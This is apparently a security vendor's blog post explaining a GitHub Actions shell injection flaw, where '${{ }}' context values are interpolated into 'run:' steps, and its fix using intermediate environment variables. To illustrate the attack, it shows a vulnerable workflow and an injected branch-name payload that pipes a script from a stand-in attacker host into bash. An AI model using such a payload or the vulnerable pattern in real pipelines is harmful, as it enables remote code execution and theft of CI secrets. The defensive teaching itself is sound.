Back to Blog
critical SEVERITY7 min read

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

A critical shell injection vulnerability was discovered and patched in a GitHub Actions workflow file, where direct use of `${{...}}` variable interpolation with GitHub context data in `run:` steps could allow attackers to inject malicious code into CI/CD runners. This type of vulnerability can expose secrets, credentials, and source code to bad actors. The fix involves routing untrusted input through intermediate environment variables — a simple but powerful mitigation that every developer usin

O
By orbisai0security
April 20, 2026

GitHub Actions Shell Injection: How ${{ }} Variables Can Compromise Your CI/CD Pipeline

Introduction

CI/CD pipelines are the beating heart of modern software delivery. They build, test, and deploy your code — and they often have access to your most sensitive secrets: API keys, cloud credentials, signing certificates, and deployment tokens. That makes them a high-value target for attackers.

One of the most subtle and dangerous vulnerabilities in GitHub Actions workflows is shell injection via variable interpolation. It doesn't require a sophisticated exploit. It doesn't need a zero-day. In many cases, all it takes is a carefully crafted pull request title, branch name, or issue comment — and an attacker can execute arbitrary code inside your CI runner.

This post breaks down exactly how this vulnerability works, why it was dangerous in the patched workflow, and what every developer should do to protect their pipelines.


The Vulnerability Explained

What Is GitHub Actions Shell Injection?

GitHub Actions workflows can be triggered by many events — pull requests, issue comments, workflow dispatches, and more. These events carry context data accessible via the github object (e.g., github.event.pull_request.title, github.actor, github.event.inputs.branch).

The problem arises when developers use ${{ }} interpolation to embed this context data directly inside a run: shell script:

# ⚠️ VULNERABLE PATTERN
- name: Run tests
  run: |
    echo "Running for branch: ${{ github.event.inputs.branch }}"
    ./scripts/run-tests.sh ${{ github.event.inputs.branch }}

Here's the critical insight: ${{ }} expressions are evaluated and substituted before the shell ever sees the script. GitHub Actions performs a simple text substitution. If the value of github.event.inputs.branch contains shell metacharacters or commands, they become part of the shell script itself.

How Could It Be Exploited?

Consider what happens if an attacker (or a contributor with write access to a fork) supplies this as the branch name in a workflow dispatch:

main; curl -s https://attacker.com/exfil.sh | bash

After interpolation, the run: block becomes:

echo "Running for branch: main; curl -s https://attacker.com/exfil.sh | bash"
./scripts/run-tests.sh main; curl -s https://attacker.com/exfil.sh | bash

The shell dutifully executes the injected command. The attacker's script now runs inside your CI environment — with full access to:

  • Repository secrets (exposed as environment variables)
  • GitHub tokens (the GITHUB_TOKEN with repo permissions)
  • Cloud provider credentials (AWS, GCP, Azure keys)
  • Source code and build artifacts
  • Internal network resources accessible from the runner

The Specific Vulnerability in This PR

The vulnerability was found in .github/workflows/browserstack-dispatch.yml at line 65, where ${{ }} interpolation was used with github context data inside a run: step. The Semgrep scanner flagged this with rule yaml.github-actions.security.run-shell-injection.run-shell-injection.

BrowserStack dispatch workflows often accept external inputs (like device names, test configurations, or branch names) that could be influenced by untrusted parties — making this a realistic attack surface.

Real-World Impact

This isn't theoretical. Shell injection in GitHub Actions has been exploited in the wild:

  • Codecov breach (2021): Attackers modified a CI script to exfiltrate environment variables containing secrets from thousands of projects.
  • Dependency confusion attacks: Malicious packages have been designed to exploit CI environments when installed during build steps.
  • Crypto-mining campaigns: Compromised CI runners are frequently used for unauthorized compute resources.

The CVSS classification for this type of vulnerability typically falls in the HIGH to CRITICAL range due to the potential for complete secret exfiltration and pipeline takeover.


The Fix

The Solution: Intermediate Environment Variables

The fix is elegantly simple. Instead of interpolating ${{ }} directly into the shell script, you first assign the value to an environment variable using the env: block, then reference that environment variable in the script.

Before (Vulnerable):

- name: Trigger BrowserStack tests
  run: |
    echo "Dispatching for: ${{ github.event.inputs.branch }}"
    curl -X POST \
      -H "Authorization: Bearer ${{ secrets.BROWSERSTACK_TOKEN }}" \
      "https://api.browserstack.com/automate/builds/${{ github.event.inputs.build_id }}"

After (Fixed):

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
    BUILD_ID: ${{ github.event.inputs.build_id }}
    BROWSERSTACK_TOKEN: ${{ secrets.BROWSERSTACK_TOKEN }}
  run: |
    echo "Dispatching for: $BRANCH_NAME"
    curl -X POST \
      -H "Authorization: Bearer $BROWSERSTACK_TOKEN" \
      "https://api.browserstack.com/automate/builds/$BUILD_ID"

Why Does This Fix Work?

The key difference is when and how substitution happens:

Approach Substitution Timing Shell Sees
${{ github.event.inputs.branch }} in run: Before shell execution (template substitution) Raw injected value as code
env: + $ENV_VAR in run: After shell parses the script Value as a data string

When you use env: to assign the value and then reference $ENV_VAR in the shell, the shell treats the variable's content as data, not as code. Even if the value contains semicolons, backticks, or subshell syntax, the shell won't execute it — it's just a string.

The double-quoting ("$BRANCH_NAME") is also important: it prevents word splitting and glob expansion, ensuring the value is treated as a single argument even if it contains spaces.

Additional Hardening in the Fix

Best-practice fixes also include:

- name: Trigger BrowserStack tests
  env:
    BRANCH_NAME: ${{ github.event.inputs.branch }}
  run: |
    # Validate input before use (defense in depth)
    if [[ ! "$BRANCH_NAME" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
      echo "Invalid branch name format"
      exit 1
    fi
    echo "Dispatching for: $BRANCH_NAME"

Input validation as a second layer ensures that even if the environment variable approach were somehow bypassed, only expected characters are accepted.


Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Scripts

Treat all github context values as untrusted user input. The following contexts are particularly dangerous:

github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.inputs.*
github.head_ref
github.actor

Always route these through env: variables.

2. Use GitHub's Official Guidance

GitHub's own security documentation states:

"We recommend that you avoid using ${{ }} with contexts that contain untrusted user input. Instead, use an intermediate environment variable."

Reference: GitHub Docs — Security hardening for GitHub Actions

3. Adopt Static Analysis in Your Pipeline

Add security scanning for your workflow files. Tools that catch this vulnerability include:

  • Semgrep — The scanner that caught this vulnerability, with rules specifically for GitHub Actions injection
  • actionlint — A static checker for GitHub Actions workflow files
  • Zizmor — Focused specifically on GitHub Actions security issues
  • StepSecurity Harden-Runner — Runtime monitoring for GitHub Actions
# Add this to your own workflows to scan for issues
- name: Scan workflows with actionlint
  uses: raven-actions/actionlint@v1

4. Apply Least-Privilege Permissions

Even if injection occurs, limiting the GITHUB_TOKEN permissions reduces blast radius:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only if required
  # Avoid: write-all

5. Pin Action Versions to Full Commit SHAs

Prevent supply chain attacks through compromised action versions:

# ⚠️ Vulnerable to tag hijacking
- uses: actions/checkout@v4

# ✅ Pinned to immutable commit SHA
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

6. Relevant Security Standards

This vulnerability maps to several well-known security frameworks:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • CWE-77: Improper Neutralization of Special Elements used in a Command
  • OWASP Top 10 A03:2021: Injection
  • SLSA (Supply Chain Levels for Software Artifacts): Addresses pipeline integrity requirements

A Note on the Broader Context

The vulnerability report also mentions a separate concern about OAuth tokens stored in plaintext on the local filesystem (in plugins/auth-oauth2/src/store.ts). While this PR specifically addresses the GitHub Actions shell injection issue, the credential storage problem is a reminder that secrets require protection at every layer:

  • In transit (TLS)
  • At rest (encryption, e.g., using PBKDF2 or platform keychains)
  • In CI/CD pipelines (proper secret management, not interpolation into scripts)

Security is a holistic practice — fixing one vector while ignoring others leaves you partially exposed.


Conclusion

GitHub Actions shell injection is one of those vulnerabilities that looks harmless at first glance — it's just a workflow file, right? But CI/CD pipelines are privileged environments. They hold your secrets, they have network access, and they run code automatically in response to external events.

The key takeaways from this fix:

  1. ${{ }} in run: blocks is a code injection risk when used with untrusted context data
  2. The fix is simple: use env: to assign values, then reference them as $ENV_VAR in your scripts
  3. Always double-quote environment variables: "$ENV_VAR"
  4. Validate inputs as a defense-in-depth measure
  5. Use static analysis tools like Semgrep and actionlint to catch these issues automatically

A one-line change in a YAML file can be the difference between a secure pipeline and a complete secrets breach. Take the time to audit your workflows — your production environment will thank you.


Found a security issue in your codebase? Automated security scanning tools can help identify and fix vulnerabilities like this one before they reach production. Check out OrbisAI Security for automated security remediation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #5818

Related Articles

high

GitHub Actions Shell Injection: How ${{...}} Can Betray Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions workflow file, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code on CI/CD runners. This post explains how the attack works, what the fix looks like, and how you can audit your own workflows to prevent secrets theft and code compromise. Understanding this class of vulnerability is essential for any team using GitHub Actions in production.

high

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

high

GitHub Actions Shell Injection: How ${{}} Variables Can Hijack Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions release workflow, where direct use of `${{ github.* }}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of vulnerability can lead to secret theft, code tampering, and full pipeline compromise. The fix involves a simple but critical pattern change: routing untrusted context data through intermediate environment variables before using them in s

high

Critical Shell Injection Flaw in GitHub Actions: How to Secure Your CI/CD

A high-severity shell injection vulnerability was discovered in a GitHub Actions workflow that could allow attackers to execute arbitrary code and steal secrets. The vulnerability stemmed from directly interpolating untrusted GitHub context data in shell commands. This post explains the attack vector, demonstrates the fix, and provides best practices for securing your CI/CD pipelines.

critical

Heap Buffer Overflow in Audio Ring Buffer: How a Missing Bounds Check Could Crash Your App

A critical heap buffer overflow vulnerability was discovered in `audio_backend.c`, where the audio ring buffer's `memcpy` operations lacked bounds validation before writing PCM data. Without checking that incoming data sizes fell within the allocated buffer's capacity, a maliciously crafted audio file could corrupt adjacent heap memory, potentially enabling arbitrary code execution. The fix adds a concise pre-flight validation guard that rejects out-of-range write requests before any memory oper

critical

Critical Memory Safety Bug: Free of Uninitialized Memory in Rust Telemetry (CVE-2021-29937)

CVE-2021-29937 is a critical memory safety vulnerability in the Rust `telemetry` crate (versions prior to 0.1.3) that allows freeing uninitialized memory, leading to undefined behavior, potential crashes, and possible code execution. The fix involves upgrading the crate from version 0.1.0 to 0.1.3, which patches the unsafe memory handling at the root cause. Despite Rust's reputation for memory safety, this vulnerability demonstrates that `unsafe` code blocks can still introduce serious bugs that